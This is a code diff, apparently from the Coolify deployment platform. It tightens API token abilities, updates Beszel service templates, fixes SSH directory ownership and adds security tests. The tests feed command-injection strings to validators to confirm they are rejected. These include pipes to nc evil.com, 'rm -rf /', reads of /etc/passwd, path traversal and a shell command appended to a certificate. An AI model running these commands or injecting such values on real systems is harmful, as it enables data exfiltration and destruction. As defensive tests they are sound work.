<div class="mt-1 mb-6">Configure Docker cleanup settings for your server.</div>
|
||||
</div>
|
||||
|
||||
@if ($this->isCleanupStale)
|
||||
<div class="mb-4">
|
||||
<x-callout type="warning" title="Docker Cleanup May Be Stalled">
|
||||
<p>The last Docker cleanup ran {{ $this->lastExecutionTime ?? 'unknown time' }} ago,
|
||||
which is longer than expected for the configured frequency.</p>
|
||||
@if (!$this->isSchedulerHealthy)
|
||||
<p class="mt-1">The scheduled job manager appears to be inactive. This may indicate
|
||||
a stale Redis lock is blocking all scheduled jobs.</p>
|
||||
@endif
|
||||
<p class="mt-2">To resolve, run on your Coolify instance:
|
||||
<code class="bg-black/10 dark:bg-white/10 px-1 rounded">php artisan cleanup:redis --clear-locks</code>
|
||||
</p>
|
||||
</x-callout>
|
||||
</div>
|
||||
@endif
|
||||
|
||||
<div class="flex flex-col gap-2">
|
||||
<div class="flex gap-4">
|
||||
<h3>Cleanup Configuration</h3>
|
||||
|
|
|
|||
|
|
@ -55,7 +55,7 @@ Route::group([
|
|||
Route::post('/projects/{uuid}/environments', [ProjectController::class, 'create_environment'])->middleware(['api.ability:write']);
|
||||
Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}', [ProjectController::class, 'delete_environment'])->middleware(['api.ability:write']);
|
||||
|
||||
Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:read']);
|
||||
Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:write']);
|
||||
Route::patch('/projects/{uuid}', [ProjectController::class, 'update_project'])->middleware(['api.ability:write']);
|
||||
Route::delete('/projects/{uuid}', [ProjectController::class, 'delete_project'])->middleware(['api.ability:write']);
|
||||
|
||||
|
|
@ -86,7 +86,7 @@ Route::group([
|
|||
|
||||
Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:read']);
|
||||
|
||||
Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:read']);
|
||||
Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:write']);
|
||||
Route::patch('/servers/{uuid}', [ServersController::class, 'update_server'])->middleware(['api.ability:write']);
|
||||
Route::delete('/servers/{uuid}', [ServersController::class, 'delete_server'])->middleware(['api.ability:write']);
|
||||
|
||||
|
|
@ -121,9 +121,9 @@ Route::group([
|
|||
Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']);
|
||||
Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read']);
|
||||
|
||||
Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:write']);
|
||||
Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:write']);
|
||||
Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:write']);
|
||||
Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
|
||||
Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']);
|
||||
Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:deploy']);
|
||||
|
||||
Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']);
|
||||
Route::post('/github-apps', [GithubController::class, 'create_github_app'])->middleware(['api.ability:write']);
|
||||
|
|
@ -152,9 +152,9 @@ Route::group([
|
|||
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']);
|
||||
Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']);
|
||||
|
||||
Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:write']);
|
||||
Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:write']);
|
||||
Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:write']);
|
||||
Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
|
||||
Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:deploy']);
|
||||
Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:deploy']);
|
||||
|
||||
Route::get('/services', [ServicesController::class, 'services'])->middleware(['api.ability:read']);
|
||||
Route::post('/services', [ServicesController::class, 'create_service'])->middleware(['api.ability:write']);
|
||||
|
|
@ -169,9 +169,9 @@ Route::group([
|
|||
Route::patch('/services/{uuid}/envs', [ServicesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']);
|
||||
Route::delete('/services/{uuid}/envs/{env_uuid}', [ServicesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']);
|
||||
|
||||
Route::match(['get', 'post'], '/services/{uuid}/start', [ServicesController::class, 'action_deploy'])->middleware(['api.ability:write']);
|
||||
Route::match(['get', 'post'], '/services/{uuid}/restart', [ServicesController::class, 'action_restart'])->middleware(['api.ability:write']);
|
||||
Route::match(['get', 'post'], '/services/{uuid}/stop', [ServicesController::class, 'action_stop'])->middleware(['api.ability:write']);
|
||||
Route::match(['get', 'post'], '/services/{uuid}/start', [ServicesController::class, 'action_deploy'])->middleware(['api.ability:deploy']);
|
||||
Route::match(['get', 'post'], '/services/{uuid}/restart', [ServicesController::class, 'action_restart'])->middleware(['api.ability:deploy']);
|
||||
Route::match(['get', 'post'], '/services/{uuid}/stop', [ServicesController::class, 'action_stop'])->middleware(['api.ability:deploy']);
|
||||
|
||||
Route::get('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_application_uuid'])->middleware(['api.ability:read']);
|
||||
Route::post('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']);
|
||||
|
|
|
|||
|
|
@ -141,6 +141,15 @@ else
|
|||
log "Network 'coolify' already exists"
|
||||
fi
|
||||
|
||||
# Fix SSH directory ownership if not owned by container user UID 9999 (fixes #6621)
|
||||
# Only changes owner — preserves existing group to respect custom setups
|
||||
SSH_OWNER=$(stat -c '%u' /data/coolify/ssh 2>/dev/null || echo "unknown")
|
||||
if [ "$SSH_OWNER" != "9999" ]; then
|
||||
log "Fixing SSH directory ownership (was owned by UID $SSH_OWNER)"
|
||||
chown -R 9999 /data/coolify/ssh
|
||||
chmod -R 700 /data/coolify/ssh
|
||||
fi
|
||||
|
||||
# Check if Docker config file exists
|
||||
DOCKER_CONFIG_MOUNT=""
|
||||
if [ -f /root/.docker/config.json ]; then
|
||||
|
|
|
|||
|
|
@ -6,13 +6,26 @@
|
|||
|
||||
services:
|
||||
beszel-agent:
|
||||
image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025
|
||||
image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026
|
||||
network_mode: host # Network stats graphs won't work if agent cannot access host system network stack
|
||||
environment:
|
||||
# Required
|
||||
- LISTEN=/beszel_socket/beszel.sock
|
||||
- HUB_URL=${HUB_URL?}
|
||||
- 'TOKEN=${TOKEN?}'
|
||||
- 'KEY=${KEY?}'
|
||||
- HUB_URL=$SERVICE_URL_BESZEL
|
||||
- TOKEN=${TOKEN} # From hub token settings
|
||||
- KEY=${KEY} # SSH public key(s) from hub
|
||||
# Optional
|
||||
- DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH
|
||||
- LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level
|
||||
- SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring
|
||||
- SYSTEM_NAME=${SYSTEM_NAME} # Custom system name
|
||||
volumes:
|
||||
- beszel_agent_data:/var/lib/beszel-agent
|
||||
- beszel_socket:/beszel_socket
|
||||
- '/var/run/docker.sock:/var/run/docker.sock:ro'
|
||||
healthcheck:
|
||||
test: ['CMD', '/agent', 'health']
|
||||
interval: 60s
|
||||
timeout: 20s
|
||||
retries: 10
|
||||
start_period: 5s
|
||||
|
|
@ -9,21 +9,41 @@
|
|||
# Add the public Key in "Key" env variable and token in the "Token" variable below (These are obtained from Beszel UI)
|
||||
services:
|
||||
beszel:
|
||||
image: 'henrygd/beszel:0.16.1' # Released on 14 Nov 2025
|
||||
image: 'henrygd/beszel:0.18.4' # Released on 21 Feb 2026
|
||||
environment:
|
||||
- SERVICE_URL_BESZEL_8090
|
||||
- CONTAINER_DETAILS=${CONTAINER_DETAILS:-true}
|
||||
- SHARE_ALL_SYSTEMS=${SHARE_ALL_SYSTEMS:-false}
|
||||
volumes:
|
||||
- 'beszel_data:/beszel_data'
|
||||
- 'beszel_socket:/beszel_socket'
|
||||
healthcheck:
|
||||
test: ['CMD', '/beszel', 'health', '--url', 'http://localhost:8090']
|
||||
interval: 30s
|
||||
timeout: 20s
|
||||
retries: 10
|
||||
start_period: 5s
|
||||
beszel-agent:
|
||||
image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025
|
||||
image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026
|
||||
network_mode: host # Network stats graphs won't work if agent cannot access host system network stack
|
||||
environment:
|
||||
# Required
|
||||
- LISTEN=/beszel_socket/beszel.sock
|
||||
- HUB_URL=http://beszel:8090
|
||||
- 'TOKEN=${TOKEN}'
|
||||
- 'KEY=${KEY}'
|
||||
- HUB_URL=$SERVICE_URL_BESZEL
|
||||
- TOKEN=${TOKEN} # From hub token settings
|
||||
- KEY=${KEY} # SSH public key(s) from hub
|
||||
# Optional
|
||||
- DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH
|
||||
- LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level
|
||||
- SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring
|
||||
- SYSTEM_NAME=${SYSTEM_NAME} # Custom system name
|
||||
volumes:
|
||||
- beszel_agent_data:/var/lib/beszel-agent
|
||||
- beszel_socket:/beszel_socket
|
||||
- '/var/run/docker.sock:/var/run/docker.sock:ro'
|
||||
|
||||
healthcheck:
|
||||
test: ['CMD', '/agent', 'health']
|
||||
interval: 60s
|
||||
timeout: 20s
|
||||
retries: 10
|
||||
start_period: 5s
|
||||
|
|
@ -1,3 +1,4 @@
|
|||
# ignore: true
|
||||
# documentation: https://docs.plane.so/self-hosting/methods/docker-compose
|
||||
# slogan: The open source project management tool
|
||||
# category: productivity
|
||||
|
|
|
|||
|
|
@ -1,3 +1,4 @@
|
|||
# ignore: true
|
||||
# documentation: https://pterodactyl.io/
|
||||
# slogan: Pterodactyl is a free, open-source game server management panel
|
||||
# category: media
|
||||
|
|
@ -102,4 +103,4 @@ services:
|
|||
- MAIL_PORT=$MAIL_PORT
|
||||
- MAIL_USERNAME=$MAIL_USERNAME
|
||||
- MAIL_PASSWORD=$MAIL_PASSWORD
|
||||
- MAIL_ENCRYPTION=$MAIL_ENCRYPTION
|
||||
- MAIL_ENCRYPTION=$MAIL_ENCRYPTION
|
||||
|
|
@ -1,3 +1,4 @@
|
|||
# ignore: true
|
||||
# documentation: https://pterodactyl.io/
|
||||
# slogan: Pterodactyl is a free, open-source game server management panel
|
||||
# category: media
|
||||
|
|
|
|||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
75
tests/Feature/ApiTokenPermissionTest.php
Normal file
75
tests/Feature/ApiTokenPermissionTest.php
Normal file
|
|
@ -0,0 +1,75 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
describe('POST /api/v1/projects', function () {
|
||||
test('read-only token cannot create a project', function () {
|
||||
$token = $this->user->createToken('read-only', ['read']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/projects', [
|
||||
'name' => 'Test Project',
|
||||
]);
|
||||
|
||||
$response->assertStatus(403);
|
||||
});
|
||||
|
||||
test('write token can create a project', function () {
|
||||
$token = $this->user->createToken('write-token', ['write']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/projects', [
|
||||
'name' => 'Test Project',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
$response->assertJsonStructure(['uuid']);
|
||||
});
|
||||
|
||||
test('root token can create a project', function () {
|
||||
$token = $this->user->createToken('root-token', ['root']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/projects', [
|
||||
'name' => 'Test Project',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
$response->assertJsonStructure(['uuid']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/servers', function () {
|
||||
test('read-only token cannot create a server', function () {
|
||||
$token = $this->user->createToken('read-only', ['read']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/servers', [
|
||||
'name' => 'Test Server',
|
||||
'ip' => '1.2.3.4',
|
||||
'private_key_uuid' => 'fake-uuid',
|
||||
]);
|
||||
|
||||
$response->assertStatus(403);
|
||||
});
|
||||
});
|
||||
120
tests/Feature/ApplicationHealthCheckApiTest.php
Normal file
120
tests/Feature/ApplicationHealthCheckApiTest.php
Normal file
|
|
@ -0,0 +1,120 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
StandaloneDocker::withoutEvents(function () {
|
||||
$this->destination = StandaloneDocker::firstOrCreate(
|
||||
['server_id' => $this->server->id, 'network' => 'coolify'],
|
||||
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
|
||||
);
|
||||
});
|
||||
|
||||
$this->project = Project::create([
|
||||
'uuid' => (string) new Cuid2,
|
||||
'name' => 'test-project',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
// Project boot event auto-creates a 'production' environment
|
||||
$this->environment = $this->project->environments()->first();
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
});
|
||||
|
||||
function healthCheckAuthHeaders($bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid} health check fields', function () {
|
||||
test('can update health_check_type to cmd with a command', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'pg_isready -U postgres',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
$this->application->refresh();
|
||||
expect($this->application->health_check_type)->toBe('cmd');
|
||||
expect($this->application->health_check_command)->toBe('pg_isready -U postgres');
|
||||
});
|
||||
|
||||
test('can update health_check_type back to http', function () {
|
||||
$this->application->update([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'redis-cli ping',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'http',
|
||||
'health_check_command' => null,
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
$this->application->refresh();
|
||||
expect($this->application->health_check_type)->toBe('http');
|
||||
expect($this->application->health_check_command)->toBeNull();
|
||||
});
|
||||
|
||||
test('rejects invalid health_check_type', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'exec',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('rejects health_check_command with shell operators', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'pg_isready; rm -rf /',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('rejects health_check_command over 1000 characters', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => str_repeat('a', 1001),
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
93
tests/Feature/CaCertificateCommandInjectionTest.php
Normal file
93
tests/Feature/CaCertificateCommandInjectionTest.php
Normal file
|
|
@ -0,0 +1,93 @@
|
|||
<?php
|
||||
|
||||
use App\Livewire\Server\CaCertificate\Show;
|
||||
use App\Models\Server;
|
||||
use App\Models\SslCertificate;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
function generateSelfSignedCert(): string
|
||||
{
|
||||
$key = openssl_pkey_new(['private_key_bits' => 2048]);
|
||||
$csr = openssl_csr_new(['CN' => 'Test CA'], $key);
|
||||
$cert = openssl_csr_sign($csr, null, $key, 365);
|
||||
openssl_x509_export($cert, $certPem);
|
||||
|
||||
return $certPem;
|
||||
}
|
||||
|
||||
test('saveCaCertificate sanitizes injected commands after certificate marker', function () {
|
||||
$validCert = generateSelfSignedCert();
|
||||
|
||||
$caCert = SslCertificate::create([
|
||||
'server_id' => $this->server->id,
|
||||
'is_ca_certificate' => true,
|
||||
'ssl_certificate' => $validCert,
|
||||
'ssl_private_key' => 'test-key',
|
||||
'common_name' => 'Coolify CA Certificate',
|
||||
'valid_until' => now()->addYears(10),
|
||||
]);
|
||||
|
||||
// Inject shell command after valid certificate
|
||||
$maliciousContent = $validCert."' ; id > /tmp/pwned ; echo '";
|
||||
|
||||
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('certificateContent', $maliciousContent)
|
||||
->call('saveCaCertificate')
|
||||
->assertDispatched('success');
|
||||
|
||||
// After save, the certificate should be the clean re-exported PEM, not the malicious input
|
||||
$caCert->refresh();
|
||||
expect($caCert->ssl_certificate)->not->toContain('/tmp/pwned');
|
||||
expect($caCert->ssl_certificate)->not->toContain('; id');
|
||||
expect($caCert->ssl_certificate)->toContain('-----BEGIN CERTIFICATE-----');
|
||||
expect($caCert->ssl_certificate)->toEndWith("-----END CERTIFICATE-----\n");
|
||||
});
|
||||
|
||||
test('saveCaCertificate rejects completely invalid certificate', function () {
|
||||
SslCertificate::create([
|
||||
'server_id' => $this->server->id,
|
||||
'is_ca_certificate' => true,
|
||||
'ssl_certificate' => 'placeholder',
|
||||
'ssl_private_key' => 'test-key',
|
||||
'common_name' => 'Coolify CA Certificate',
|
||||
'valid_until' => now()->addYears(10),
|
||||
]);
|
||||
|
||||
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('certificateContent', "not-a-cert'; rm -rf /; echo '")
|
||||
->call('saveCaCertificate')
|
||||
->assertDispatched('error');
|
||||
});
|
||||
|
||||
test('saveCaCertificate rejects empty certificate content', function () {
|
||||
SslCertificate::create([
|
||||
'server_id' => $this->server->id,
|
||||
'is_ca_certificate' => true,
|
||||
'ssl_certificate' => 'placeholder',
|
||||
'ssl_private_key' => 'test-key',
|
||||
'common_name' => 'Coolify CA Certificate',
|
||||
'valid_until' => now()->addYears(10),
|
||||
]);
|
||||
|
||||
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('certificateContent', '')
|
||||
->call('saveCaCertificate')
|
||||
->assertDispatched('error');
|
||||
});
|
||||
90
tests/Feature/CmdHealthCheckValidationTest.php
Normal file
90
tests/Feature/CmdHealthCheckValidationTest.php
Normal file
|
|
@ -0,0 +1,90 @@
|
|||
<?php
|
||||
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
|
||||
$commandRules = ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'];
|
||||
|
||||
it('rejects healthCheckCommand over 1000 characters', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => str_repeat('a', 1001)],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => 'pg_isready -U postgres'],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('accepts null healthCheckCommand', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => null],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('accepts simple commands', function ($command) use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => $command],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'pg_isready -U postgres',
|
||||
'redis-cli ping',
|
||||
'curl -f http://localhost:8080/health',
|
||||
'wget -q -O- http://localhost/health',
|
||||
'mysqladmin ping -h 127.0.0.1',
|
||||
]);
|
||||
|
||||
it('rejects commands with shell operators', function ($command) use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => $command],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
})->with([
|
||||
'pg_isready; rm -rf /',
|
||||
'redis-cli ping | nc evil.com 1234',
|
||||
'curl http://localhost && curl http://evil.com',
|
||||
'echo $(whoami)',
|
||||
'cat /etc/passwd > /tmp/out',
|
||||
'curl `whoami`.evil.com',
|
||||
'cmd & background',
|
||||
'echo "hello"',
|
||||
"echo 'hello'",
|
||||
'test < /etc/passwd',
|
||||
'bash -c {echo,pwned}',
|
||||
'curl http://evil.com#comment',
|
||||
'echo $HOME',
|
||||
"cmd\twith\ttabs",
|
||||
"cmd\nwith\nnewlines",
|
||||
]);
|
||||
|
||||
it('rejects invalid healthCheckType', function () {
|
||||
$validator = Validator::make(
|
||||
['healthCheckType' => 'exec'],
|
||||
['healthCheckType' => 'string|in:http,cmd']
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts valid healthCheckType values', function ($type) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckType' => $type],
|
||||
['healthCheckType' => 'string|in:http,cmd']
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['http', 'cmd']);
|
||||
276
tests/Feature/CommandInjectionSecurityTest.php
Normal file
276
tests/Feature/CommandInjectionSecurityTest.php
Normal file
|
|
@ -0,0 +1,276 @@
|
|||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
|
||||
describe('deployment job path field validation', function () {
|
||||
test('rejects shell metacharacters in dockerfile_location', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, '/Dockerfile; echo pwned', 'dockerfile_location'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
});
|
||||
|
||||
test('rejects backtick injection', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, '/Dockerfile`whoami`', 'dockerfile_location'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
});
|
||||
|
||||
test('rejects dollar sign variable expansion', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, '/Dockerfile$(whoami)', 'dockerfile_location'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
});
|
||||
|
||||
test('rejects pipe injection', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, '/Dockerfile | cat /etc/passwd', 'dockerfile_location'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
});
|
||||
|
||||
test('rejects ampersand injection', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, '/Dockerfile && env', 'dockerfile_location'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
});
|
||||
|
||||
test('rejects path traversal', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, '/../../../etc/passwd', 'dockerfile_location'))
|
||||
->toThrow(RuntimeException::class, 'path traversal detected');
|
||||
});
|
||||
|
||||
test('allows valid simple path', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect($method->invoke($instance, '/Dockerfile', 'dockerfile_location'))
|
||||
->toBe('/Dockerfile');
|
||||
});
|
||||
|
||||
test('allows valid nested path with dots and hyphens', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect($method->invoke($instance, '/docker/Dockerfile.prod', 'dockerfile_location'))
|
||||
->toBe('/docker/Dockerfile.prod');
|
||||
});
|
||||
|
||||
test('allows valid compose file path', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect($method->invoke($instance, '/docker-compose.prod.yml', 'docker_compose_location'))
|
||||
->toBe('/docker-compose.prod.yml');
|
||||
});
|
||||
});
|
||||
|
||||
describe('API validation rules for path fields', function () {
|
||||
test('dockerfile_location validation rejects shell metacharacters', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
